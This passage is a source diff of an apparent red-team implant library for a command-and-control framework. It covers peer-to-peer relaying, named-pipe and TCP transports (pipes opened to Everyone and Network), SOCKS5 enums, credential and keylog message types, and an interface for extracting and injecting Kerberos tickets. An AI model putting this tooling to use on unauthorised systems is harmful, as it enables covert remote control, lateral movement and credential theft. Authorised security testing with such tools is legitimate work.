+        SeShutdownPrivilege,
+        SeSyncAgentPrivilege,
+        SeSystemEnvironmentPrivilege,
+        SeSystemProfilePrivilege,
+        SeSystemtimePrivilege,
+        SeTakeOwnershipPrivilege,
+        SeTcbPrivilege,
+        SeTimeZonePrivilege,
+        SeTrustedCredManAccessPrivilege,
+        SeUndockPrivilege,
+        SeUnsolicitedInputPrivilege
+    }
+}
@@ -0,0 +1,117 @@
+using ApolloInterop.Classes.Core;
+using ApolloInterop.Classes.Events;
+using ApolloInterop.Enums.ApolloEnums;
+using ApolloInterop.Interfaces;
+using ApolloInterop.Serializers;
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Structs.MythicStructs;
+using ApolloInterop.Utils;
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Text;
+using System.Threading;
+
+namespace ApolloInterop.Classes.P2P
+{
+    public abstract class Peer : IPeer
+    {
+        public string C2ProfileName { get; protected set; }
+        protected IAgent _agent;
+        protected ISerializer _serializer;
+        protected PeerInformation _peerInfo;
+        protected string _uuid;
+        protected string _mythicUUID;
+        protected bool _previouslyConnected;
+        public event EventHandler<UUIDEventArgs> UUIDNegotiated;
+        protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> _messageOrganizer = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
+        protected ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
+        protected AutoResetEvent _senderEvent = new AutoResetEvent(false);
+        protected MessageType _serverResponseType;
+
+        public event EventHandler<EventArgs> ConnectionEstablished;
+        public event EventHandler<EventArgs> Disconnect;
+        protected CancellationTokenSource _cts = new CancellationTokenSource();
+
+        public Peer(IAgent agent, PeerInformation data, ISerializer serializer = null)
+        {
+            _agent = agent;
+            _peerInfo = data;
+            _uuid = agent.GetApi().NewUUID();
+            _previouslyConnected = false;
+            if (serializer == null)
+            {
+                _serializer = new JsonSerializer();
+            }
+        }
+        protected virtual void OnUUIDNegotiated(object sender, UUIDEventArgs args)
+        {
+            if (UUIDNegotiated != null)
+            {
+                UUIDNegotiated(sender, args);
+            }
+        }
+
+        public virtual void OnConnectionEstablished(object sender, EventArgs args)
+        {
+            ConnectionEstablished?.Invoke(sender, args);
+        }
+
+        public virtual void OnDisconnect(object sender, EventArgs args)
+        {
+            Disconnect?.Invoke(sender, args);
+        }
+
+        public abstract bool Start();
+        public abstract void Stop();
+        public abstract bool Connected();
+        public virtual void ProcessMessage(DelegateMessage message)
+        {
+            if (!string.IsNullOrEmpty(message.MythicUUID) &&
+                message.MythicUUID != _uuid)
+            {
+                _mythicUUID = message.MythicUUID;
+                OnUUIDNegotiated(this, new UUIDEventArgs(_mythicUUID));
+                _uuid = _mythicUUID;
+            }
+            _senderQueue.Enqueue(Encoding.UTF8.GetBytes(message.Message));
+            _senderEvent.Set();
+        }
+
+        public void DeserializeToReceiver(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
+        {
+            MessageType mt = args.Chunks[0].Message;
+            List<byte> data = new List<byte>();
+
+            for(int i = 0; i < args.Chunks.Length; i++)
+            {
+                data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
+            }
+            // Probably where we do sorting based on EKE,
+            // checkin, and get_tasking
+            switch (mt)
+            {
+                // part of the checkin process, flag next message to be of EKE
+                case MessageType.EKEHandshakeMessage:
+                    _serverResponseType = MessageType.EKEHandshakeResponse;
+                    break;
+                default:
+                    _serverResponseType = MessageType.MessageResponse;
+                    break;
+            }
+            _agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
+            {
+                UUID = _uuid,
+                C2Profile = C2ProfileName,
+                Message = Encoding.UTF8.GetString(data.ToArray())
+            });
+        }
+
+        public virtual string GetUUID() { return _uuid; }
+        public virtual string GetMythicUUID() { return _mythicUUID; }
+        public abstract bool Finished();
+
+
+
+    }
+}
@@ -0,0 +1,39 @@
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.MythicStructs;
+using System.Collections.Concurrent;
+
+namespace ApolloInterop.Classes.P2P
+{
+    public abstract class PeerManager : IPeerManager
+    {
+        protected ConcurrentDictionary<string, IPeer> _peers = new ConcurrentDictionary<string, IPeer>();
+        protected IAgent _agent;
+        public PeerManager(IAgent agent)
+        {
+            _agent = agent;
+        }
+
+        public abstract Peer AddPeer(PeerInformation info);
+        public virtual bool Remove(string uuid)
+        {
+            bool bRet = true;
+            if (_peers.ContainsKey(uuid))
+            {
+                bRet = _peers.TryRemove(uuid, out var p);
+                if (bRet)
+                {
+                    p.Stop();
+                }
+            }
+
+            return bRet;
+        }
+
+        public virtual bool Remove(IPeer peer)
+        {
+            return Remove(peer.GetUUID());
+        }
+
+        public abstract bool Route(DelegateMessage msg);
+    }
+}
@@ -0,0 +1,106 @@
+using ApolloInterop.Constants;
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Utils;
+using System;
+using System.IO.Pipes;
+
+namespace ApolloInterop.Classes
+{
+    public class AsyncNamedPipeClient
+    {
+        private readonly NamedPipeClientStream _pipe;
+        public event EventHandler<NamedPipeMessageArgs> MessageReceived;
+        public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
+        public event EventHandler<NamedPipeMessageArgs> Disconnect;
+        public AsyncNamedPipeClient(string host, string pipename)
+        {
+            _pipe = new NamedPipeClientStream(
+                host,
+                pipename,
+                PipeDirection.InOut,
+                PipeOptions.Asynchronous | PipeOptions.WriteThrough
+            );
+        }
+
+        public bool Connect(Int32 msTimeout)
+        {
+            try
+            {
+                _pipe.Connect(msTimeout);
+                // Client times out, so fail.
+            } catch { return false; }
+            _pipe.ReadMode = PipeTransmissionMode.Message;
+            IPCData pd = new IPCData()
+            {
+                Pipe = _pipe,
+                State = _pipe,
+                Data = new byte[IPC.RECV_SIZE],
+            };
+            OnConnectionEstablished(new NamedPipeMessageArgs(_pipe, pd, pd.State));
+            BeginRead(pd);
+            return true;
+        }
+
+        public void BeginRead(IPCData pd)
+        {
+            bool isConnected = pd.Pipe.IsConnected;
+            if (isConnected)
+            {
+                try
+                {
+                    pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
+                } catch (Exception ex)
+                {
+                    DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}");
+                    isConnected = false;
+                }
+            }
+
+            if (!isConnected)
+            {
+                pd.Pipe.Close();
+                DebugHelp.DebugWriteLine($"disconnecting on named pipe");
+                OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
+            }
+        }
+
+        private void OnAsyncMessageReceived(IAsyncResult result)
+        {
+            // read from client until complete
+            IPCData pd = (IPCData)result.AsyncState;
+            try{
+                Int32 bytesRead = pd.Pipe.EndRead(result);
+                if (bytesRead > 0)
+                {
+                    pd.DataLength = bytesRead;
+                    OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
+                } else
+                {
+                    DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead");
+                    pd.Pipe.Close();
+                }
+                BeginRead(pd);
+            }catch(Exception ex){
+                DebugHelp.DebugWriteLine($"error reading from named pipe: {ex}");
+                pd.Pipe.Close();
+                OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
+            }
+        }
+
+        private void OnConnectionEstablished(NamedPipeMessageArgs args)
+        {
+            ConnectionEstablished?.Invoke(this, args);
+        }
+
+        private void OnMessageReceived(NamedPipeMessageArgs args)
+        {
+            MessageReceived?.Invoke(this, args);
+        }
+
+        private void OnDisconnect(NamedPipeMessageArgs args)
+        {
+            DebugHelp.DebugWriteLine($"OnDisconnect");
+            Disconnect?.Invoke(this, args);
+        }
+    }
+}
@@ -0,0 +1,185 @@
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Utils;
+using System;
+using System.Collections.Concurrent;
+using System.IO.Pipes;
+using System.Security.AccessControl;
+using System.Security.Principal;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace ApolloInterop.Classes
+{
+    public class AsyncNamedPipeServer
+    {
+        private bool _running = true;
+
+        private readonly string _pipeName;
+        private readonly PipeSecurity _pipeSecurity;
+        private readonly int _BUF_IN;
+        private readonly int _BUF_OUT;
+        private readonly int _maxInstances;
+
+        private ConcurrentDictionary<PipeStream, IPCData> _connections = new();
+
+        public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
+        public event EventHandler<NamedPipeMessageArgs> MessageReceived;
+        public event EventHandler<NamedPipeMessageArgs> Disconnect;
+
+        public AsyncNamedPipeServer(string pipename, PipeSecurity ps = null, int instances=1, int BUF_IN=4096, int BUF_OUT=4096)
+        {
+            _pipeName = pipename;
+            _BUF_IN = BUF_IN;
+            _BUF_OUT = BUF_OUT;
+            _maxInstances = instances;
+            if (ps == null)
+            {
+                _pipeSecurity = new PipeSecurity();
+                PipeAccessRule multipleInstances = new PipeAccessRule(WindowsIdentity.GetCurrent().Name, PipeAccessRights.CreateNewInstance, AccessControlType.Allow);
+                PipeAccessRule everyoneAllowedRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
+                PipeAccessRule networkAllowRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
+                _pipeSecurity.AddAccessRule(multipleInstances);
+                _pipeSecurity.AddAccessRule(everyoneAllowedRule);
+                _pipeSecurity.AddAccessRule(networkAllowRule);
+            }
+
+            for(int i = 0; i < _maxInstances; i++)
+            {
+                CreateServerPipe();
+            }
+        }
+
+        public void Stop()
+        {
+            _running = false;
+            foreach (var pipe in _connections.Keys)
+            {
+                pipe.Close();
+            }
+            while(true)
+            {
+                int count = _connections.Count;
+                if (count == 0)
+                    break;
+                System.Threading.Thread.Sleep(5);
+            }
+        }
+
+        private void CreateServerPipe()
+        {
+            DebugHelp.DebugWriteLine($"Creating Named Pipe: {_pipeName}");
+            NamedPipeServerStream pipe = new NamedPipeServerStream(
+                _pipeName,
+                PipeDirection.InOut,
+                -1,
+                PipeTransmissionMode.Message,
+                PipeOptions.Asynchronous | PipeOptions.WriteThrough,
+                _BUF_IN,
+                _BUF_OUT,
+                _pipeSecurity
+            );
+            //NamedPipeServerStream pipe = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, -1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
+            // wait for client to connect async
+            try
+            {
+                pipe.BeginWaitForConnection(OnClientConnected, pipe);
+            }catch(Exception ex)
+            {
+
+            }
+
+        }
+
+        private bool IsPersistentConnectionAsync(NamedPipeServerStream pipeServer)
+        {
+            // Try to complete the read task within the timeout
+            var completedTask = Task.WhenAny(
+                    Task.Delay(500)
+            );
+            return pipeServer.IsConnected;
+        }
+
+
+        private void OnConnect(NamedPipeMessageArgs args)
+        {
+            ConnectionEstablished?.Invoke(this, args);
+        }
+
+        private void OnMessageReceived(NamedPipeMessageArgs args)
+        {
+            MessageReceived?.Invoke(this, args);
+        }
+
+        private void OnDisconnect(NamedPipeMessageArgs args)
+        {
+            DebugHelp.DebugWriteLine($"Client disconnected from Named Pipe: {_pipeName}");
+            Disconnect?.Invoke(this, args);
+        }
+
+        private void OnClientConnected(IAsyncResult result)
+        {
+            // complete connection
+            NamedPipeServerStream pipe = (NamedPipeServerStream)result.AsyncState;
+            pipe.EndWaitForConnection(result);
+            DebugHelp.DebugWriteLine($"Client connected to Named Pipe: {_pipeName}");
+            if(!IsPersistentConnectionAsync(pipe))
+            {
+                pipe.Close();
+            }
+            // create client pipe structure
+            IPCData pd = new IPCData()
+            {
+                Pipe = pipe,
+                State = null,
+                Data = new byte[_BUF_IN],
+            };
+            
+            // Add to connection list
+            if (_running && _connections.TryAdd(pipe, pd))
+            {
+                // Prep the next connection
+                CreateServerPipe();
+                OnConnect(new NamedPipeMessageArgs(pipe, null, this));
+                BeginRead(pd);
+            } else
+            {
+                pipe.Close();
+            }
+        }
+
+        private void BeginRead(IPCData pd)
+        {
+            bool isConnected = pd.Pipe.IsConnected;
+            if (isConnected)
+            {
+                try
+                {
+                    pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
+                } catch (Exception ex)
+                {
+                    isConnected = false;
+                }
+            }
+
+            if (!isConnected)
+            {
+                pd.Pipe.Close();
+                OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
+                _connections.TryRemove(pd.Pipe, out IPCData nullobj);
+            }
+        }
+
+        private void OnAsyncMessageReceived(IAsyncResult result)
+        {
+            // read from client until complete
+            IPCData pd = (IPCData)result.AsyncState;
+            Int32 bytesRead = pd.Pipe.EndRead(result);
+            if (bytesRead > 0)
+            {
+                pd.DataLength = bytesRead;
+                OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
+            }
+            BeginRead(pd);
+        }
+    }
+}
@@ -0,0 +1,21 @@
+using ApolloInterop.Structs.ApolloStructs;
+using System;
+using System.IO.Pipes;
+
+namespace ApolloInterop.Classes
+{
+    public class NamedPipeMessageArgs : EventArgs
+    {
+        public PipeStream Pipe;
+        public IPCData Data;
+        public Object State;
+
+        public NamedPipeMessageArgs(PipeStream pipe, IPCData? data, Object state)
+        {
+            Pipe = pipe;
+            if (data != null)
+                Data = (IPCData)data;
+            State = state;
+        }
+    }
+}
@@ -0,0 +1,149 @@
+using ApolloInterop.Constants;
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Utils;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace ApolloInterop.Classes
+{
+    public class AsyncTcpClient
+    {
+        private readonly TcpClient _client;
+        private readonly string _host;
+        private readonly int _port;
+        private readonly IPAddress _addr = null;
+        private readonly bool _clientConnectionSupplied;
+
+        public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
+        public event EventHandler<TcpMessageEventArgs> MessageReceived;
+        public event EventHandler<TcpMessageEventArgs> Disconnect;
+
+        public AsyncTcpClient(string host, int port)
+        {
+            _client = new TcpClient();
+            _host = host;
+            _port = port;
+            _clientConnectionSupplied = false;
+        }
+
+        public AsyncTcpClient(IPAddress host, int port)
+        {
+            _client = new TcpClient();
+            _addr = host;
+            _port = port;
+            _clientConnectionSupplied = false;
+        }
+        public AsyncTcpClient(TcpClient client)
+        {
+            _client = client;
+            _clientConnectionSupplied = true;
+        }
+
+        public bool Connect()
+        {
+            if (!_clientConnectionSupplied)
+            {
+                try
+                {
+                    if (_addr == null)
+                    {
+                        _client.Connect(_host, _port);
+                    }
+                    else
+                    {
+                        _client.Connect(_addr, _port);
+                    }
+                    // Client times out, so fail.
+                }
+                catch { return false; }
+            }
+
+            // we set pipe to be message transactions ; don't think we need to for tcp
+            IPCData pd = new IPCData()
+            {
+                Client = _client,
+                State = _client,
+                NetworkStream = _client.GetStream(),
+                Data = new byte[IPC.RECV_SIZE],
+            };
+            pd.NetworkStream.ReadTimeout = -1;
+            OnConnect(new TcpMessageEventArgs(_client, pd, _client));
+            BeginRead(pd);
+            return true;
+        }
+
+        private void OnConnect(TcpMessageEventArgs args)
+        {
+            if (ConnectionEstablished != null)
+            {
+                ConnectionEstablished(this, args);
+            }
+        }
+
+        public void BeginRead(IPCData pd)
+        {
+            bool isConnected = pd.Client.Connected;
+            if (isConnected)
+            {
+                try
+                {
+                    pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
+                }
+                catch (Exception ex)
+                {
+                    isConnected = false;
+                }
+            }
+
+            if (!isConnected)
+            {
+                pd.Client.Close();
+                OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
+            }
+        }
+
+        private void OnDisconnect(TcpMessageEventArgs args)
+        {
+            if (Disconnect != null)
+            {
+                Disconnect(this, args);
+            }
+        }
+
+        private void OnMessageReceived(TcpMessageEventArgs args)
+        {
+            if (MessageReceived != null)
+            {
+                MessageReceived(this, args);
+            }
+        }
+
+        private void OnAsyncMessageReceived(IAsyncResult result)
+        {
+            // read from client until complete
+            IPCData pd = (IPCData)result.AsyncState;
+            try
+            {
+                //DebugHelp.DebugWriteLine($"in OnAsyncMessageReceived in AsyncTcpClient");
+                Int32 bytesRead = pd.NetworkStream.EndRead(result);
+                if (bytesRead > 0)
+                {
+                    pd.DataLength = bytesRead;
+                    OnMessageReceived(new TcpMessageEventArgs(pd.Client, pd, pd.State));
+                } else
+                {
+                    pd.Client.Close();
+                    OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
+                    return;
+                }
+            } catch (Exception ex)
+            {
+                pd.Client.Close();
+                OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
+                return;
+            }
+            BeginRead(pd);
+        }
+    }
+}
@@ -0,0 +1,134 @@
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Utils;
+using System;
+using System.Collections.Concurrent;
+using System.Net;
+using System.Net.Sockets;
+
+namespace ApolloInterop.Classes
+{
+    public class AsyncTcpServer
+    {
+        private readonly int _BUF_IN;
+        private readonly int _BUF_OUT;
+        private readonly int _port;
+        private readonly TcpListener _server;
+        
+        private ConcurrentDictionary<TcpClient, IPCData> _connections = new ConcurrentDictionary<TcpClient, IPCData>();
+
+        public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
+        public event EventHandler<TcpMessageEventArgs> MessageReceived;
+        public event EventHandler<TcpMessageEventArgs> Disconnect;
+
+        private void OnConnect(object sender, TcpMessageEventArgs args) => ConnectionEstablished?.Invoke(sender, args);
+        private void OnMessageReceived(object sender, TcpMessageEventArgs args) => MessageReceived?.Invoke(sender, args);
+        private void OnDisconnect(object sender, TcpMessageEventArgs args) => Disconnect?.Invoke(sender, args);
+
+        private bool _running = true;
+
+        public AsyncTcpServer(int port, int BUF_IN = Constants.IPC.RECV_SIZE, int BUF_OUT = Constants.IPC.SEND_SIZE)
+        {
+            _BUF_IN = BUF_IN;
+            _BUF_OUT = BUF_OUT;
+            _port = port;
+            _server = new TcpListener(IPAddress.Any, port);
+            _server.Start();
+            _server.BeginAcceptTcpClient(OnClientConnected, _server);
+        }
+
+        public void Stop()
+        {
+            _running = false;
+            foreach (var client in _connections.Keys)
+            {
+                client.Close();
+            }
+            while (true)
+            {
+                int count = _connections.Count;
+                if (count == 0)
+                    break;
+                System.Threading.Thread.Sleep(5);
+            }
+        }
+
+        private void OnClientConnected(IAsyncResult result)
+        {
+            // complete connection
+            TcpListener server = (TcpListener)result.AsyncState;
+            TcpClient client = server.EndAcceptTcpClient(result);
+
+            // create client pipe structure
+            IPCData pd = new IPCData()
+            {
+                Client = client,
+                NetworkStream = client.GetStream(),
+                State = null,
+                Data = new byte[_BUF_IN],
+            };
+            pd.NetworkStream.ReadTimeout = -1;
+            // Add to connection list
+            if (_running && _connections.TryAdd(client, pd))
+            {
+                _server.BeginAcceptTcpClient(OnClientConnected, _server);
+                OnConnect(this, new TcpMessageEventArgs(client, pd, this));
+                BeginRead(pd);
+            }
+            else
+            {
+                client.Close();
+            }
+        }
+
+        private void BeginRead(IPCData pd)
+        {
+            bool isConnected;
+            try
+            {
+                isConnected = pd.Client.Connected;
+                if (isConnected)
+                {
+                    try
+                    {
+                        pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
+                    }
+                    catch (Exception ex)
+                    {
+                        isConnected = false;
+                    }
+                }
+            } catch { isConnected = false; }
+
+            if (!isConnected)
+            {
+                pd.Client.Client?.Close();
+                OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
+                _connections.TryRemove(pd.Client, out IPCData _);
+            }
+        }
+
+        private void OnAsyncMessageReceived(IAsyncResult result)
+        {
+            // read from client until complete
+            IPCData pd = (IPCData)result.AsyncState;
+            try
+            {
+                Int32 bytesRead = pd.NetworkStream.EndRead(result);
+                if (bytesRead > 0)
+                {
+                    pd.DataLength = bytesRead;
+                    OnMessageReceived(this, new TcpMessageEventArgs(pd.Client, pd, pd.State));
+                } else
+                {
+                    pd.Client.Close();
+                    OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
+                    return;
+                }
+            } catch (Exception ex)
+            {
+                pd.Client.Close();
+            }
+            BeginRead(pd);
+        }
+    }
+}
@@ -0,0 +1,21 @@
+using ApolloInterop.Structs.ApolloStructs;
+using System;
+using System.Net.Sockets;
+
+namespace ApolloInterop.Classes
+{
+    public class TcpMessageEventArgs : EventArgs
+    {
+        public TcpClient Client;
+        public IPCData Data;
+        public Object State;
+
+        public TcpMessageEventArgs(TcpClient client, IPCData? data, Object state)
+        {
+            Client = client;
+            if (data != null)
+                Data = (IPCData)data;
+            State = state;
+        }
+    }
+}
@@ -0,0 +1,8 @@
+namespace ApolloInterop.Constants
+{
+    public static class IPC
+    {
+        public const int SEND_SIZE = 30000;
+        public const int RECV_SIZE = 30000;
+    }
+}
@@ -0,0 +1,7 @@
+namespace ApolloInterop.Constants
+{
+    public static class SOCKS
+    {
+        public const int SUPPORTED_VERSION = 5;
+    }
+}
@@ -0,0 +1,91 @@
+namespace ApolloInterop.Enums
+{
+    namespace ApolloEnums
+    {
+        public enum Socks5Error
+        {
+            SuccessReply,
+            ServerFailure,
+            RuleFailure,
+            NetworkUnreachable,
+            HostUnreachable,
+            ConnectionRefused,
+            TtlExpired,
+            CommandNotSupported,
+            AddrTypeNotSupported,
+        }
+
+        public enum SocksVersion
+        {
+            Socks5 = 5
+        }
+
+        public enum Socks5AuthError
+        {
+            Success = 0,
+            Failure,
+            NoAcceptable = 255,
+        }
+
+        public enum Socks5AuthType
+        {
+            NoAuth = 0,
+            Version = 1, //????
+            UsernamePassword = 2,
+        }
+
+        public enum Socks5AddressType
+        {
+            IPv4 = 1,
+            FQDN = 3,
+            IPv6 = 4
+        }
+
+        public enum Socks5Command
+        {
+            Connect = 1,
+            Bind = 2,
+            Associate = 3
+        }
+
+        public enum MessageDirection
+        {
+            ToMythic = 0,
+            FromMythic = 1
+        }
+
+        public enum MessageType
+        {
+            C2ProfileData = 0,
+            Credential,
+            RemovedFileInformation,
+            FileInformation,
+            FileBrowser,
+            EdgeNode,
+            SocksDatagram,
+            Artifact,
+            TaskStatus,
+            TaskResponse,
+            DownloadRegistrationMessage,
+            DownloadProgressMessage,
+            Task,
+            DelegateMessage,
+            TaskingMessage,
+            EKEHandshakeMessage,
+            EKEHandshakeResponse,
+            CheckinMessage,
+            UploadMessage,
+            MessageResponse,
+            DownloadMessage,
+            FileBrowserACE,
+            IPCCommandArguments,
+            ExecutePEIPCMessage,
+            ProcessInformation,
+            CommandInformation,
+            ScreenshotInformation,
+            KeylogInformation,
+            CallbackUpdate,
+            CustomBrowser
+        }
+    }
+}
@@ -0,0 +1,157 @@
+using System;
+
+namespace ApolloInterop.Enums
+{
+    public static class Win32
+    {
+        public enum TokenType
+        {
+            TokenPrimary = 1,
+            TokenImpersonation
+        }
+
+        public enum TokenInformationClass
+        {
+            TokenUser = 1,
+            TokenGroups,
+            TokenPrivileges,
+            TokenOwner,
+            TokenPrimaryGroup,
+            TokenDefaultDacl,
+            TokenSource,
+            TokenType,
+            TokenImpersonationLevel,
+            TokenStatistics,
+            TokenRestrictedSids,
+            TokenSessionId,
+            TokenGroupsAndPrivileges,
+            TokenSessionReference,
+            TokenSandBoxInert,
+            TokenAuditPolicy,
+            TokenOrigin,
+            TokenElevationType,
+            TokenLinkedToken,
+            TokenElevation,
+            TokenHasRestrictions,
+            TokenAccessInformation,
+            TokenVirtualizationAllowed,
+            TokenVirtualizationEnabled,
+            TokenIntegrityLevel,
+            TokenUIAccess,
+            TokenMandatoryPolicy,
+            TokenLogonSid,
+            TokenIsAppContainer,
+            TokenCapabilities,
+            TokenAppContainerSid,
+            TokenAppContainerNumber,
+            TokenUserClaimAttributes,
+            TokenDeviceClaimAttributes,
+            TokenRestrictedUserClaimAttributes,
+            TokenRestrictedDeviceClaimAttributes,
+            TokenDeviceGroups,
+            TokenRestrictedDeviceGroups,
+            TokenSecurityAttributes,
+            TokenIsRestricted,
+            TokenProcessTrustLevel,
+            TokenPrivateNameSpace,
+            TokenSingletonAttributes,
+            TokenBnoIsolation,
+            TokenChildProcessFlags,
+            MaxTokenInfoClass,
+            TokenIsLessPrivilegedAppContainer,
+            TokenIsSandboxed,
+            TokenOriginatingProcessTrustLevel
+        }
+
+        [Flags]
+        public enum LogonType : UInt32
+        {
+            LOGON32_LOGON_INTERACTIVE = 2,
+            LOGON32_LOGON_NETWORK = 3,
+            LOGON32_LOGON_BATCH = 4,
+            LOGON32_LOGON_SERVICE = 5,
+            LOGON32_LOGON_UNLOCK = 7,
+            LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
+            LOGON32_LOGON_NEW_CREDENTIALS = 9,
+            LOGON32_REMOTE_INTERACTIVE = 10,
+            LOGON32_LOGON_CACHED_INTERACTIVE = 11,
+        }
+
+        public enum LogonProvider : UInt32
+        {
+            LOGON32_PROVIDER_DEFAULT = 0,
+            LOGON32_PROVIDER_WINNT35 = 1,
+            LOGON32_PROVIDER_WINNT40 = 2,
+            LOGON32_PROVIDER_WINNT50 = 3,
+            LOGON32_PROVIDER_VIRTUAL = 4
+        }
+
+        [Flags]
+        public enum STARTF : uint
+        {
+            STARTF_USESHOWWINDOW = 0x00000001,
+            STARTF_USESIZE = 0x00000002,
+            STARTF_USEPOSITION = 0x00000004,
+            STARTF_USECOUNTCHARS = 0x00000008,
+            STARTF_USEFILLATTRIBUTE = 0x00000010,
+            STARTF_RUNFULLSCREEN = 0x00000020,  // ignored for non-x86 platforms
+            STARTF_FORCEONFEEDBACK = 0x00000040,
+            STARTF_FORCEOFFFEEDBACK = 0x00000080,
+            STARTF_USESTDHANDLES = 0x00000100,
+        }
+
+        [Flags]
+        public enum CreateProcessFlags
+        {
+            CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
+            CREATE_DEFAULT_ERROR_MODE = 0x04000000,
+            CREATE_NEW_CONSOLE = 0x00000010,
+            CREATE_NEW_PROCESS_GROUP = 0x00000200,
+            CREATE_NO_WINDOW = 0x08000000,
+            CREATE_PROTECTED_PROCESS = 0x00040000,
+            CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
+            CREATE_SEPARATE_WOW_VDM = 0x00000800,
+            CREATE_SHARED_WOW_VDM = 0x00001000,
+            CREATE_SUSPENDED = 0x00000004,
+            CREATE_UNICODE_ENVIRONMENT = 0x00000400,
+            DEBUG_ONLY_THIS_PROCESS = 0x00000002,
+            DEBUG_PROCESS = 0x00000001,
+            DETACHED_PROCESS = 0x00000008,
+            EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
+            INHERIT_PARENT_AFFINITY = 0x00010000
+        }
+
+        [Flags]
+        public enum ProcessAccessFlags : UInt32
+        {
+            PROCESS_CREATE_PROCESS = 0x0080,
+            PROCESS_CREATE_THREAD = 0x0002,
+            PROCESS_DUP_HANDLE = 0x0040,
+            PROCESS_QUERY_INFORMATION = 0x0400,
+            PROCESS_QUERY_LIMITED_INFORMATION = 0x0200,
+            PROCESS_SET_QUOTA = 0x0100,
+            PROCESS_SUSPEND_RESUME = 0x0800,
+            PROCESS_TERMINATE = 0x0001,
+            PROCESS_VM_OPERATION = 0x0008,
+            PROCESS_VM_READ = 0x0010,
+            PROCESS_VM_WRITE = 0x0020,
+            SYNCHRONIZE = 0x00100000,
+            PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
+            MAXIMUM_ALLOWED = 0x02000000
+        }
+
+        [Flags]
+        public enum DuplicateOptions : uint
+        {
+            DuplicateCloseSource = 0x00000001,
+            DuplicateSameAccess = 0x00000002
+        }
+
+        [Flags]
+        internal enum LogonFlags : uint
+        {
+            LOGON_WITH_PROFILE = 0x00000001,
+            LOGON_NETCREDENTIALS_ONLY = 0x00000002
+        }
+    }
+}
@@ -0,0 +1,42 @@
+using System.Collections.Generic;
+using ApolloInterop.Structs.MythicStructs;
+
+namespace ApolloInterop.Features.KerberosTickets;
+
+/// <summary>
+/// Should serve to manage kerberos tickets.
+/// Any functions I want to enable calling from other modules like Tasks should be defined here.
+/// </summary>
+public interface ITicketManager
+{
+    //artifact related functions
+    public List<Artifact> GetArtifacts();
+    
+    //returns the current LUID
+    public string GetCurrentLuid();
+    
+    public string GetTargetProcessLuid(int pid);
+    
+    //should return a ticket with the .kirbi initalized with the ticket data
+    public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName);
+    //should return all tickets in the current LUID or all tickets if running as administrator
+    public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "");
+    //loads a ticket into memory and should be tracked by the agent session
+    public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid);
+    //unloads a ticket from memory and should be removed from the agent session
+    public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false);
+
+    public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi);
+   
+    
+    //returns a list of tickets stored inside the ticket store (if any) 
+    public List<KerberosTicketStoreDTO> GetTicketsFromTicketStore();
+    //adds a ticket to the ticket store
+    public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket);
+    //removes a ticket from the ticket store
+    public bool RemoveTicketFromTicketStore(string serviceName, bool All = false);
+    
+
+
+
+}
@@ -0,0 +1,41 @@
+using System;
+
+namespace ApolloInterop.Features.KerberosTickets;
+
+public record KerberosTicketDataDTO
+{
+    public string Luid { get; private set; }
+    
+    public string ClientFullName { get; private set; }
+    
+    public string ServiceFullName { get; private set; }
+    public DateTime StartTime { get; private set; }
+    public DateTime EndTime { get; private set; }
+    
